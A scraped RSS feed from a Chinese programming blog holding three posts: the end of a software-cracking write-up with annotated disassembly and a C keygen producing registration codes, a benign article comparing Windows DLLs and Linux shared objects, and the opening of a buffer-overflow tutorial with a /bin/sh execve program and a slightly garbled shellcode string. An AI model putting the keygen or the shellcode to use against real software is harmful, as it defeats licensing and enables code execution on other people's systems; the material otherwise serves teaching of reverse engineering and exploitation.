AL,0A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 同0A比较<BR>005861AB&nbsp; |.&gt;|JGE SHORT unpacked.005861B5&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 大于等于跳到下面进行另外的计算<BR>005861AD&nbsp; |.&gt;|ADD EAX,30&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 该值加上0x30<BR>005861B0&nbsp; |.&gt;|MOV BYTE PTR DS:[EBX],AL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 这个值就是注册码的第i个值，写入内存保存起来<BR>005861B2&nbsp; |.&gt;|INC EBX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 继续下一步<BR>005861B3&nbsp; |.&gt;|JMP SHORT unpacked.005861BD<BR>005861B5&nbsp; |&gt;&gt;|ADD AL,BYTE PTR SS:[EBP+18]&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 上面如果大于0A，则加上[EBP+18]==61，<BR>005861B8&nbsp; |.&gt;|ADD AL,0F6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 再加上0F6<BR>005861BA&nbsp; |.&gt;|MOV BYTE PTR DS:[EBX],AL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 作为注册码的第i个值写入内存<BR>005861BC&nbsp; |.&gt;|INC EBX<BR>005861BD&nbsp; |&gt;&gt; LEA EDX,DWORD PTR SS:[EBP-24]&nbsp;&nbsp; ;&nbsp; 取地址[EBP-24]<BR>005861C0&nbsp; |.&gt;|CMP ECX,EDX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 比较是否结束循环<BR>005861C2&nbsp; |.&gt;\JNZ SHORT unpacked.005861A6&nbsp;&nbsp;&nbsp;&nbsp; ;&nbsp; 没有结束则继续<BR>005861C4&nbsp; |&gt;&gt;MOV BYTE PTR DS:[EBX],0<BR>005861C7&nbsp; |.&gt;MOV EAX,DWORD PTR SS:[EBP+C]<BR>005861CA&nbsp; |.&gt;POP EDI<BR>005861CB&nbsp; |.&gt;POP ESI<BR>005861CC&nbsp; |.&gt;POP EBX<BR>005861CD&nbsp; |.&gt;MOV ESP,EBP<BR>005861CF&nbsp; |.&gt;POP EBP<BR>005861D0&nbsp; \.&gt;RETN</P>
<P>----------------------------------------------------------------------------------------</P>
<P>呵呵，过程清晰明了吧？第一次循环：机器码异或0x90909090的结果除以前面求得的压栈的余数，然后这个过程的余数写入内存保留，商作为下一次循环的变量继续循环。第二次循环：将第一次循环中写入内存的值逆序读取出来，同0xA比较，小于就直接加上0x30，作为注册码的第i个字符写入内存；大于等于则加上61，再加0xF6，取低字节作为注册码的第i个字符写入内存。用户名没有参与计算。也不知道我说明白了没有，还是看程序来得直接，C源码的注册机：</P>
<P>-----------------------------------------------------------------------------------------</P>
<P>#include "stdafx.h"<BR>#include "stdlib.h"<BR>#include "stdio.h"</P>
<P>int main(int argc, char* argv[])<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char chKey[128] = {0};<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int unXORCode, unRemainder, unQuotient, unTmp, unMachineCode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Please Key in the Machine Code:\n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; scanf("%d", &amp;unMachineCode);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unXORCode&nbsp;&nbsp; = unMachineCode ^ 0x90909090;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unRemainder = unXORCode % 0x25;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unQuotient&nbsp; = unXORCode;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (unRemainder &lt; 0x11)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unRemainder += 0x11;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i = 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (unQuotient != 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = unQuotient % unRemainder;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unQuotient /= unRemainder;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (unTmp &gt;= 0xa)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp = unTmp + 0x61 + 0xf6;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unTmp &amp;= 0x0ff;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chKey[i] = unTmp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; chKey[i] = unTmp + 0x30;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i++;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Key is: \n");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (i &gt;= 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%c", chKey[i]);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i--;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n");</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<BR>}</P>
<P>-----------------------------------------------------------------------------------------</P>
<P>&nbsp;</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239976.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48007/" target="_blank">IE颓势不减 微软下月公布最新浏览器架构</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>深入分析Windows和Linux动态库应用异同</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 12:47:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239959.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239959.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239959.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239959.html</trackback:ping><description><![CDATA[<P>深入分析Windows和Linux动态库应用异同</P>
<P>作者：刘世栋 杨林</P>
<P>摘要：动态链接库技术实现和设计程序常用的技术，在Windows和Linux系统中都有动态库的概念，采用动态库可以有效的减少程序大小，节省空间，提高效率，增加程序的可扩展性，便于模块化管理。</P>
<P>但不同操作系统的动态库由于格式 不同，在需要不同操作系统调用时需要进行动态库程序移植。本文分析和比较了两种操作系统动态库技术，并给出了将Visual C++编制的动态库移植到Linux上的方法和经验。</P>
<P>1、引言</P>
<P>动态库（Dynamic Link Library abbr，DLL）技术是程序设计中经常采用的技术。其目的减少程序的大小，节省空间，提高效率，具有很高的灵活性。</P>
<P>采用动态库技术对于升级软件版本更加容易。与静态库（Static Link Library）不同，动态库里面的函数不是执行程序本身的一部分，而是根据执行需要按需载入，其执行代码可以同时在多个程序中共享。</P>
<P>在Windows和Linux操作系统中，都可采用这种方式进行软件设计，但他们的调用方式以及程序编制方式不尽相同。本文首先分析了在这两种操作系统中通常采用的动态库调用方法以及程序编制方式，然后分析比较了这两种方式的不同之处，最后根据实际移植程序经验，介绍了将VC++编制的Windows动态库移植到Linux下的方法。</P>
<P>2、动态库技术</P>
<P>2.1 Windows动态库技术</P>
<P>动态链接库是实现Windows应用程序共享资源、节省内存空间、提高使用效率的一个重要技术手段。常见的动态库包含外部函数和资源，也有一些动态库只包含资源，如Windows字体资源文件，称之为资源动态链接库。通常动态库以.dll，.drv、.fon等作为后缀。</P>
<P>相应的windows静态库通常以.lib结尾，Windows自己就将一些主要的系统功能以动态库模块的形式实现。</P>
<P>Windows动态库在运行时被系统加载到进程的虚拟空间中，使用从调用进程的虚拟地址空间分配的内存，成为调用进程的一部分。DLL也只能被该进程的线程所访问。DLL的句柄可以被调用进程使用；调用进程的句柄可以被DLL使用。</P>
<P>DLL模块中包含各种导出函数，用于向外界提供服务。DLL可以有自己的数据段，但没有自己的堆栈，使用与调用它的应用程序相同的堆栈模式；一个DLL在内存中只有一个实例；DLL实现了代码封装性；DLL的编制与具体的编程语言及编译器无关，可以通过DLL来实现混合语言编程。DLL函数中的代码所创建的任何对象（包括变量）都归调用它的线程或进程所有。</P>
<P>根据调用方式的不同，对动态库的调用可分为静态调用方式和动态调用方式。</P>
<P>(1)静态调用，也称为隐式调用，由编译系统完成对DLL的加载和应用程序结束时DLL卸载的编码（Windows系统负责对DLL调用次数的计数），调用方式简单，能够满足通常的要求。通常采用的调用方式是把产生动态连接库时产生的.LIB文件加入到应用程序的工程中，想使用DLL中的函数时，只须在源文件中声明一下。</P>
<P>LIB文件包含了每一个DLL导出函数的符号名和可选择的标识号以及DLL文件名，不含有实际的代码。Lib文件包含的信息进入到生成的应用程序中，被调用的DLL文件会在应用程序加载时同时加载在到内存中。</P>
<P>(2)动态调用，即显式调用方式，是由编程者用API函数加载和卸载DLL来达到调用DLL的目的，比较复杂，但能更加有效地使用内存，是编制大型应用程序时的重要方式。在Windows系统中，与动态库调用有关的函数包括：</P>
<P>①LoadLibrary（或MFC 的AfxLoadLibrary），装载动态库。</P>
<P>②GetProcAddress，获取要引入的函数，将符号名或标识号转换为DLL内部地址。</P>
<P>③FreeLibrary（或MFC的AfxFreeLibrary），释放动态链接库。</P>
<P>在windows中创建动态库也非常方便和简单。在Visual C++中，可以创建不用MFC而直接用C语言写的DLL程序，也可以创建基于MFC类库的DLL程序。每一个DLL必须有一个入口点，在VC++中，DllMain是一个缺省的入口函数。DllMain负责初始化(Initialization)和结束(Termination)工作。</P>
<P>动态库输出函数也有两种约定，分别是基于调用约定和名字修饰约定。DLL程序定义的函数分为内部函数和导出函数，动态库导出的函数供其它程序模块调用。通常可以有下面几种方法导出函数：</P>
<P>①采用模块定义文件的EXPORT部分指定要输入的函数或者变量。</P>
<P>②使用MFC提供的修饰符号_declspec(dllexport)。</P>
<P>③以命令行方式，采用/EXPORT命令行输出有关函数。</P>
<P>在windows动态库中，有时需要编写模块定义文件(.DEF)，它是用于描述DLL属性的模块语句组成的文本文件。</P>
<P>2.2 Linux共享对象技术</P>
<P>在Linux操作系统中，采用了很多共享对象技术（Shared Object），虽然它和Windows里的动态库相对应，但它并不称为动态库。相应的共享对象文件以.so作为后缀，为了方便，在本文中，对该概念不进行专门区分。Linux系统的/lib以及标准图形界面的/usr/X11R6/lib等目录里面，就有许多以so结尾的共享对象。</P>
<P>同样，在Linux下，也有静态函数库这种调用方式，相应的后缀以.a结束。Linux采用该共享对象技术以方便程序间共享，节省程序占有空间，增加程序的可扩展性和灵活性。Linux还可以通过LD-PRELOAD变量让开发人员可以使用自己的程序库中的模块来替换系统模块。</P>
<P>同Windows系统一样，在Linux中创建和使用动态库是比较容易的事情，在编译函数库源程序时加上-shared选项即可，这样所生成的执行程序就是动态链接库。通常这样的程序以so为后缀，在Linux动态库程序设计过程中，通常流程是编写用户的接口文件，通常是.h文件，编写实际的函数文件，以.c或.cpp为后缀，再编写makefile文件。对于较小的动态库程序可以不用如此，但这样设计使程序更加合理。</P>
<P>编译生成动态连接库后，进而可以在程序中进行调用。在Linux中，可以采用多种调用方式，同Windows的系统目录(..\system32等)一样，可以将动态库文件拷贝到/lib目录或者在/lib目录里面建立符号连接，以便所有用户使用。</P>
<P>下面介绍Linux调用动态库经常使用的函数，但在使用动态库时，源程序必须包含dlfcn.h头文件，该文件定义调用动态链接库的函数的原型。</P>
<P>(1)_打开动态链接库：dlopen，函数原型void *dlopen (const char *filename, int flag); dlopen用于打开指定名字(filename)的动态链接库，并返回操作句柄。</P>
<P>(2)取函数执行地址：dlsym，函数原型为: void *dlsym(void *handle, char *symbol); dlsym根据动态链接库操作句柄(handle)与符号(symbol)，返回符号对应的函数的执行代码地址。</P>
<P>(3)关闭动态链接库：dlclose，函数原型为: int dlclose (void *handle); dlclose用于关闭指定句柄的动态链接库，只有当此动态链接库的使用计数为0时,才会真正被系统卸载。</P>
<P>(4)动态库错误函数：dlerror，函数原型为: const char *dlerror(void); 当动态链接库操作函数执行失败时，dlerror可以返回出错信息，返回值为NULL时表示操作函数执行成功。</P>
<P>在取到函数执行地址后，就可以在动态库的使用程序里面根据动态库提供的函数接口声明调用动态库里面的函数。在编写调用动态库的程序的makefile文件时，需要加入编译选项-rdynamic和-ldl。</P>
<P>除了采用这种方式编写和调用动态库之外，Linux操作系统也提供了一种更为方便的动态库调用方式，也方便了其它程序调用，这种方式与Windows系统的隐式链接类似。其动态库命名方式为&#8220;lib*.so.*&#8221;。在这个命名方式中，第一个*表示动态链接库的库名，第二个*通常表示该动态库的版本号，也可以没有版本号。</P>
<P>在这种调用方式中，需要维护动态链接库的配置文件/etc/ld.so.conf来让动态链接库为系统所使用，通常将动态链接库所在目录名追加到动态链接库配置文件中。如具有X window窗口系统发行版该文件中都具有/usr/X11R6/lib，它指向X window窗口系统的动态链接库所在目录。</P>
<P>为了使动态链接库能为系统所共享，还需运行动态链接库的管理命令./sbin/ldconfig。在编译所引用的动态库时，可以在gcc采用 &#8211;l或-L选项或直接引用所需的动态链接库方式进行编译。在Linux里面，可以采用ldd命令来检查程序依赖共享库。</P>
<P>3、两种系统动态库比较分析</P>
<P>Windows和Linux采用动态链接库技术目的是基本一致的，但由于操作系统的不同，他们在许多方面还是不尽相同，下面从以下几个方面进行阐述。</P>
<P>(1)动态库程序编写，在Windows系统下的执行文件格式是PE格式，动态库需要一个DllMain函数作为初始化的人口，通常在导出函数的声明时需要有_declspec(dllexport)关键字。Linux下的gcc编译的执行文件默认是ELF格式，不需要初始化入口，亦不需要到函数做特别声明，编写比较方便。</P>
<P>(2)动态库编译，在windows系统下面，有方便的调试编译环境，通常不用自己去编写makefile文件，但在linux下面，需要自己动手去编写makefile文件，因此，必须掌握一定的makefile编写技巧，另外，通常Linux编译规则相对严格。</P>
<P>(3)动态库调用方面，Windows和Linux对其下编制的动态库都可以采用显式调用或隐式调用，但具体的调用方式也不尽相同。</P>
<P>(4)动态库输出函数查看，在Windows中，有许多工具和软件可以进行查看DLL中所输出的函数，例如命令行方式的dumpbin以及VC++工具中的DEPENDS程序。在Linux系统中通常采用nm来查看输出函数，也可以使用ldd查看程序隐式链接的共享对象文件。</P>
<P>(5)对操作系统的依赖，这两种动态库运行依赖于各自的操作系统，不能跨平台使用。因此，对于实现相同功能的动态库，必须为两种不同的操作系统提供不同的动态库版本。</P>
<P>4、动态库移植方法</P>
<P>如果要编制在两个系统中都能使用的动态链接库，通常会先选择在Windows的VC++提供的调试环境中完成初始的开发，毕竟VC++提供的图形化编辑和调试界面比vi和gcc方便许多。完成测试之后，再进行动态库的程序移植。</P>
<P>通常gcc默认的编译规则比VC++默认的编译规则严格，即使在VC++下面没有任何警告错误的程序在gcc调试中也会出现许多警告错误，可以在gcc中采用-w选项关闭警告错误。</P>
<P>下面给出程序移植需要遵循的规则以及经验。</P>
<P>(1)尽量不要改变原有动态库头文件的顺序。通常在C/C++语言中，头文件的顺序有相当的关系。另外虽然C/C++语言区分大小写，但在包含头文件时，Linux必须与头文件的大小写相同，因为ext2文件系统对文件名是大小写敏感，否则不能正确编译，而在Windows下面，头文件大小写可以正确编译。</P>
<P>(2)不同系统独有的头文件。在Windows系统中，通常会包括windows.h头文件，如果调用底层的通信函数，则会包含winsock..h头文件。因此在移植到Linux系统时，要注释掉这些Windows系统独有的头文件以及一些windows系统的常量定义说明，增加Linux都底层通信的支持的头文件等。</P>
<P>(3)数据类型。VC++具有许多独有的数据类型，如__int16，__int32，TRUE，SOCKET等，gcc编译器不支持它们。通常做法是需要将windows.h和basetypes.h中对这些数据进行定义的语句复制到一个头文件中，再在Linux中包含这个头文件。例如将套接字的类型为SOCKET改为int。</P>
<P>(4)关键字。VC++中具有许多标准C中所没有采用的关键字，如BOOL，BYTE，DWORD，__asm等，通常在为了移植方便，尽量不使用它们，如果实在无法避免可以采用#ifdef 和#endif为LINUX和WINDOWS编写两个版本。</P>
<P>(5)函数原型的修改。通常如果采用标准的C/C++语言编写的动态库，基本上不用再重新编写函数，但对于系统调用函数，由于两种系统的区别，需要改变函数的调用方式等，如在Linux编制的网络通信动态库中，用close()函数代替windows操作系统下的closesocket()函数来关闭套接字。另外在Linux下没有文件句柄，要打开文件可用open和fopen函数，具体这两个函数的用法可参考文献[2]。</P>
<P>(6)makefile的编写。在windows下面通常由VC++编译器来负责调试，但gcc需要自己动手编写makefile文件，也可以参照VC++生成的makefile文件。对于动态库移植，编译动态库时需要加入-shared选项。对于采用数学函数，如幂级数的程序，在调用动态库是，需要加入-lm。</P>
<P>(7)其它一些需要注意的地方</P>
<P>①程序设计结构分析，对于移植它人编写的动态库程序，程序结构分析是必不可少的步骤，通常在动态库程序中，不会包含界面等操作，所以相对容易一些。</P>
<P>②在Linux中，对文件或目录的权限分为拥有者、群组、其它。所以在存取文件时，要注意对文件是读还是写操作，如果是对文件进行写操作，要注意修改文件或目录的权限，否则无法对文件进行写。</P>
<P>③指针的使用，定义一个指针只给它分配四个字节的内存，如果要对指针所指向的变量赋值，必须用malloc函数为它分配内存或不把它定义为指针而定义为变量即可，这点在linux下面比windows编译严格。同样结构不能在函数中传值，如果要在函数中进行结构传值，必须把函数中的结构定义为结构指针。</P>
<P>④路径标识符，在Linux下是&#8220;/&#8221;，在Windows下是&#8220;\&#8221;，注意windows和Linux的对动态库搜索路径的不同。</P>
<P>⑤编程和调试技巧方面。对不同的调试环境有不同的调试技巧，在这里不多叙述。</P>
<P>5、结束语</P>
<P>本文系统分析了windows和Linux动态库实现和使用方式，从程序编写、编译、调用以及对操作系统依赖等方面综合分析比较了这两种调用方式的不同之处，根据实际程序移植经验，给出了将VC++编制的Windows动态库移植到Linux下的方法以及需要注意的问题，同时并给出了程序示例片断，实际在程序移植过程中，由于系统的设计等方面，可能移植起来需要注意的方面远比上面复杂，本文通过总结归纳进而为不同操作系统程序移植提供了有意的经验和技巧。<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239959.html?type=1" width = "1" height = "1" /><br/><br/>--------------------------<br/>新闻：<a href="http://news.cnblogs.com/n/48007/" target="_blank">IE颓势不减 微软下月公布最新浏览器架构</a><br/>网站导航: <a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻</a>&nbsp;&nbsp;<a href="http://dotnet.cnblogs.com" target="_blank">.NET频道</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/q/" target="_blank">博问</a>&nbsp;&nbsp;<a href="http://space.cnblogs.com/ing/" target="_blank">闪存</a>&nbsp;&nbsp;<a href="http://zzk.cnblogs.com" target="_blank">找找看</a>]]></description></item><item><title>从头到脚了解缓冲溢出</title><link>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 19 Sep 2005 12:46:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/239958.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/09/19/239958.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/239958.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/239958.html</trackback:ping><description><![CDATA[<P>从头到脚了解缓冲溢出</P>
<P>作者：Wendy</P>
<P>在这份指南中，我们将讨论什么是缓冲溢出和怎么样去使用它。你必须了解C语言和汇编语言，如果熟悉GDB的话更加好，当然这不是很必要的。 </P>
<P>(Memory organization)存储器分为3个部分 </P>
<P>1. 文本区域(程序区） </P>
<P>这个部分是用来存储程序指令的.所以，这个区域被标示为只读，任何写的操作都将导致错误。 </P>
<P>2. 数据区域 </P>
<P>这个部分存储静态变量，它的大小可以由brk()系统调用来改变。 </P>
<P>3. 堆栈 </P>
<P>堆栈有个特殊的属性，就是最新放置在它里面的，都将是第一个被移出堆栈的。在计算机科学里，这就是通常所指的后进先出(LIFO)。堆栈是被设计用来供函数和过程使用的.一个过程在执行过程中改变程序的执行流程，这点和jump有点类似.但与jump不一样的是它在完成了他的指令后是返回调用点的，返回地址在过程被调用之前就被设置在堆栈中。 </P>
<P>它也被用来动态分配函数中的变量，以及函数的参数和返回值。 </P>
<P>返回地址和指令指针 </P>
<P>计算机执行一条指令，并保留指向下一条指令的指针(IP)。当函数或过程被调用的时候,先前在堆栈中被保留先来的指令指针将被作为返回地址(RET)。 执行完成后，RET将会替换IP，程序接着继续执行本来的流程。 </P>
<P>一个缓冲溢出 </P>
<P>让我们用一个例子来说明以下缓冲溢出。 </P>
<P>lt;++&gt; buffer/example.c <BR>void main(){ <BR>char big_string［100］; <BR>char small_string［50］; <BR>memset(big_string,0x41,100); <BR>/* strcpy(char *to,char *from) */ <BR>trcpy(small_string,big_string);} <BR>lt;--&gt; end of example.c<BR>&nbsp;<BR>这个程序用了两个数组, memset() 给数组big_strings加入字符0x41 (= A)。然后它将big_string加到small_string中。很明显，数组small_string不能容纳100个字符，因此，溢出产生。 </P>
<P>接下来我们看看存储器中的变化情况: </P>
<P>［ big_string ］ ［ small_string ］ ［SFP］ ［RET］ </P>
<P>在溢出中，SFP(Stack Frame Pointer)堆栈指针和 RET返回地址都将被A覆盖掉。这就意味着RET要变为0x41414141(0x41是A十六进制的值)。当函数被返回的时候，指令指针(Instruction Pointer)将会被已经复写了的RET替换。接着，计算机会试着去执行在0x41414141处的指令。这将会导致段冲突，因为这个地址已经超出了处理范围。 </P>
<P>发掘漏洞 </P>
<P>现在我们知道我们可以通过覆盖RET来改变程序的正常流程，我们可以实验一下。不是用A来覆盖，而是用一些特别的地址来达到我们的目的。 </P>
<P>任意代码的执行 </P>
<P>现在我们需要一些东西来指向地址并执行。在大多数情况下，我们需要产生一个shell，当然这不是惟一的方法。 </P>
<P>Before: <BR>FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF <BR>B = the buffer <BR>E = stack frame pointer <BR>R = return address <BR>F = other data <BR>After: <BR>FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF <BR>S = shellcode <BR>A = address pointing to the shellcode <BR>F = other data</P>
<P>用C来产生shell的代码如下: </P>
<P>lt;++&gt; buffer/shell.c <BR>void main(){ <BR>char *name［2］; <BR>ame［0］ = "/bin/sh"; <BR>ame［1］ = 0x0; <BR>execve(name［0］, name, 0x0); <BR>exit(0); <BR>} <BR>lt;--&gt; end of shellcode<BR>&nbsp;<BR>这里我们就不打算去解释如何去写一个shellcode了，因为它需要很多汇编的知识。那将偏离我们讨论的题目。事实上有很多的shellcode可以被我们利用。对于那些想知道如何产生的人来说，可以根据以下的步骤来完成： </P>
<P>- 用 -static flag 开关来编译上面的程序 </P>
<P>- 用GDB来打开上面的程序，然后用&#8220;disassemble main&#8221;命令 </P>
<P>- 去掉所有不必要的代码 </P>
<P>- 用汇编来重写它 </P>
<P>- 编译，然后再用GDB打开，用&#8220;disassemble main&#8221;命令 </P>
<P>- 在指令地址使用 x/bx 命令，找回 hex-code. </P>
<P>或者你可以使用这些代码 </P>
<P>char shellcode［］= <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh";</P>
<P>寻找地址 </P>
<P>当我们尝试去溢出一个程序的缓冲区的时候，这个程序要寻找这个缓冲区的地址。这个问题的答案是：对每个程序来说，堆栈都是在同一个地址上开始的。因此，只要知道了这个堆栈的地址是在哪里的，我们就可以猜出这个缓冲区的地址了。 </P>
